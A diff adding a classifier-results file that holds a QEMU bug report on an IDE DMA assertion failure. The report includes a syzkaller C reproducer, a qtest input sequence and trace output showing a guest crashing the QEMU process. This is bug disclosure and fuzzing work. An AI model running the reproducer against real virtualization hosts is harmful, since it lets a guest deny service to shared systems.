diff options
Diffstat (limited to 'results/classifier/118/unknown/1777315')
| -rw-r--r-- | results/classifier/118/unknown/1777315 | 170 |
1 files changed, 170 insertions, 0 deletions
diff --git a/results/classifier/118/unknown/1777315 b/results/classifier/118/unknown/1777315 new file mode 100644 index 000000000..e6b1a254a --- /dev/null +++ b/results/classifier/118/unknown/1777315 @@ -0,0 +1,170 @@ +graphic: 0.921 +TCG: 0.918 +peripherals: 0.915 +VMM: 0.911 +ppc: 0.906 +risc-v: 0.906 +KVM: 0.895 +vnc: 0.892 +mistranslation: 0.888 +virtual: 0.872 +permissions: 0.856 +semantic: 0.851 +arm: 0.849 +assembly: 0.844 +debug: 0.842 +register: 0.842 +performance: 0.842 +user-level: 0.838 +x86: 0.834 +hypervisor: 0.833 +socket: 0.830 +architecture: 0.827 +device: 0.826 +PID: 0.813 +kernel: 0.800 +files: 0.778 +network: 0.777 +i386: 0.768 +boot: 0.740 + +IDE short PRDT abort + +Hi, +QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version qemu-2.12.0 + +run the program in qemu-2.12.0: +#define _GNU_SOURCE +#include <endian.h> +#include <sys/syscall.h> +#include <unistd.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/stat.h> +#include <stdint.h> +#include <string.h> + +static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2) +{ + if (a0 == 0xc || a0 == 0xb) { + char buf[128]; + sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); + return open(buf, O_RDWR, 0); + } else { + char buf[1024]; + char* hash; +strncpy(buf, (char*)a0, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = 0; + while ((hash = strchr(buf, '#'))) { + *hash = '0' + (char)(a1 % 10); + a1 /= 10; + } + return open(buf, a2, 0); + } +} + +uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; +void loop() +{ + long res = 0; +memcpy((void*)0x20000000, "/dev/sg#", 9); + res = syz_open_dev(0x20000000, 0, 2); + if (res != -1) + r[0] = res; + res = syscall(__NR_dup2, r[0], r[0]); + if (res != -1) + r[1] = res; +*(uint8_t*)0x20000ec0 = 0; +*(uint8_t*)0x20000ec1 = 0; +*(uint8_t*)0x20000ec2 = 0; +*(uint8_t*)0x20000ec3 = 0; +*(uint32_t*)0x20000ec8 = 0; +*(uint8_t*)0x20000ed8 = 0; +*(uint8_t*)0x20000ed9 = 0; +*(uint8_t*)0x20000eda = 0; +*(uint8_t*)0x20000edb = 0; +memcpy((void*)0x20000ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 12); + syscall(__NR_write, r[1], 0x20000ec0, 0x323); +} + +int main() +{ + syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); + loop(); + return 0; +} +this will crash qemu, output information: + qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed. + + +Thanks +owl337 + +Are you going to provide a patch for this to the mailing list? (since you've assigned the bug to yourself) + +Oh no, this is a misunderstanding. + +More Details: +use this script https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh create + wheezy.img +than run: +qemu-system-x86_64 -m 2048 -smp 1 -net nic -net user,host=10.0.2.10,hostfwd=tcp::59199-:22 -display none -serial stdio -no-reboot -enable-kvm -hda /home/icy/linux-master/wheezy.img -snapshot -kernel /home/icy/linux-master/arch/x86/boot/bzImage -append "console=ttyS0 earlyprintk=serial oops=panic nmi_watchdog=panic panic_on_warn=1 panic=86400 ftrace_dump_on_oops=orig_cpu rodata=n vsyscall=native net.ifnames=0 biosdevname=0 kvm-intel.nested=1 kvm-intel.unrestricted_guest=1 kvm-intel.vmm_exclusive=1 kvm-intel.fasteoi=1 kvm-intel.ept=1 kvm-intel.flexpriority=1 kvm-intel.vpid=1 kvm-intel.emulate_invalid_guest_state=1 kvm-intel.eptad=1 kvm-intel.enable_shadow_vmcs=1 kvm-intel.pml=1 kvm-intel.enable_apicv=1 root=/dev/sda" + +bzImage is obtained by compiling v4.17 kernel(I am not sure if it works in other kernel version). + +than execute the program in the virtual machine: ./repro +qemu will crash, output innformation: + qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed. + +this bug influences at least qemu-2.9.94 - qemu-2.12.0. + + +A repro for the bug is setup at https://github.com/asurati/1777315, although the rfc-patch that was sent yesterday is pending testing. Unless qemu-devel advises otherwise, I am available to test and present it as a bugfix, by tomorrow. + + +FYI: we've hit this as will with syzkaller testing; this is still reproducible as-is with latest qemu (commit a6ae238), and the latest Linux kernel (5.1-rc7). + +Here's a qtest reproducer: + +./i386-softmmu/qemu-system-i386 -M pc,accel=qtest \ +-qtest null -nographic -vga qxl -qtest stdio \ +-drive if=none,id=drive0,file=null-co://,file.read-zeroes=on,format=raw \ +-drive if=none,id=drive1,file=null-co://,file.read-zeroes=on,format=raw \ +-device ide-cd,drive=drive0 -device ide-hd,drive=drive1 -nodefaults \ +< attachment + +With -trace ide*: + +[R +0.020410] outw 0x171 0xffff +28186@1594494474.407743:ide_ioport_write IDE PIO wr @ 0x171 (Features); val 0xff; bus 0x55e383419100 IDEState 0x55e383419188 +28186@1594494474.407747:ide_ioport_write IDE PIO wr @ 0x172 (Sector Count); val 0xff; bus 0x55e383419100 IDEState 0x55e383419188 +OK +[S +0.020428] OK +[R +0.020433] outw 0x176 0x35fb +28186@1594494474.407756:ide_ioport_write IDE PIO wr @ 0x176 (Device/Head); val 0xfb; bus 0x55e383419100 IDEState 0x55e383419188 +28186@1594494474.407757:ide_ioport_write IDE PIO wr @ 0x177 (Command); val 0x35; bus 0x55e383419100 IDEState 0x55e383419558 +28186@1594494474.407759:ide_exec_cmd IDE exec cmd: bus 0x55e383419100; state 0x55e383419558; cmd 0x35 +.... +28186@1594494474.411019:ide_dma_cb IDEState 0x55e383419558; sector_num=1 n=511 cmd=DMA WRITE +OK +[S +0.023732] OK +[R +0.023736] outb 0x376 0x8f +28186@1594494474.411060:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 0x8f; bus 0x55e383419100 +OK +[S +0.023741] OK +[R +0.023742] outw 0x376 0x2779 +28186@1594494474.411064:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 0x79; bus 0x55e383419100 +OK +[S +0.023745] OK +qemu-system-i386: /home/alxndr/Development/qemu/hw/ide/core.c:880: void ide_dma_cb(void *, int): Assertion `n * 512 == s->sg.size' failed. + + + +This is an automated cleanup. This bug report has been moved +to QEMU's new bug tracker on gitlab.com and thus gets marked +as 'expired' now. Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/57 + + |